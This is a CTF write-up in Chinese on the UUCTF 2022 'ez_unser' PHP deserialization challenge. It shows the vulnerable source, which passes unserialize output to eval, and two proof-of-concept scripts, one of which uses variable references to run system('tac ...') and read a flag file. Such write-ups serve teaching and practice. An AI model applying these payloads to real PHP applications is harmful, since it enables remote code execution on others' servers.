NSS [UUCTF 2022 新生赛]ez_unser

简介: NSS [UUCTF 2022 新生赛]ez_unser

NSS [UUCTF 2022 新生赛]ez_unser

源码如下:

<?php
show_source(__FILE__);

###very___so___easy!!!!
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){
        $this->a=1;
        $this->b=2;
        $this->c=3;
    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
    die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);

一看就是要绕过__wakeup(),但是**if(!preg_match(‘/test":3/i’,$a))**要求传入的字符串包含test":3那就不能只简单的改个数字绕过weakup了。


方法一:我想玩个骚的


我使b=c=test":3 不就好了吗,然后使属性值个数大于属性个数(正常做法)

poc:

<?php
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){
        $this->a="system('ls /');";
        $this->b='test":3';
        $this->c='test":3';
    }

}
$j17=new test();
echo urlencode(serialize($j17));

但是无果。应该是php版本问题。

方法二:变量引用

不绕过weakup,把c变量改成命令,a引用b。

经过weakup后a变成空,然后b=c,a引用b,b=c(命令)。

poc:

<?php
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){

    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$jay17=new test();
$jay17->b=&$jay17->a;
$jay17->c="system('tac /fffffffffflagafag');";
echo urlencode(serialize($jay17));

?>


Jay17
+关注
目录
打赏
0
0
0
0
6
分享
相关文章
|
11月前
|
攻防世界 unserialize3
攻防世界 unserialize3
154 0
|
11月前
|
[GFCTF 2021]Baby_Web(CVE-2021-41773) 从一道题入门PHP代码审计 (保姆级)
[GFCTF 2021]Baby_Web(CVE-2021-41773) 从一道题入门PHP代码审计 (保姆级)
101 1
|
11月前
NSS [SWPUCTF 2021 新生赛]pop
NSS [SWPUCTF 2021 新生赛]pop
133 0
|
10月前
|
Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南
Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南
1339 1
CVE-2021-41773 复现
CVE-2021-41773 复现
557 1
|
11月前
NSS [SWPUCTF 2022 新生赛]where_am_i
NSS [SWPUCTF 2022 新生赛]where_am_i
136 0
|
11月前
NSS [HNCTF 2022 WEEK2]ez_ssrf
NSS [HNCTF 2022 WEEK2]ez_ssrf
108 0
Ctfshow web入门 nodejs篇 web334-web344
Ctfshow web入门 nodejs篇 web334-web344
245 0
|
11月前
|
CTfshow 卷王杯 easy unserialize(特详)
CTfshow 卷王杯 easy unserialize(特详)
133 0
|
11月前
|
PHP
CTFSHOW 每周大挑战 RCE极限挑战
CTFSHOW 每周大挑战 RCE极限挑战
133 0
AI助理

你好,我是AI助理

可以解答问题、推荐解决方案等

登录插画

登录以查看您的控制台资源

管理云资源
状态一览
快捷访问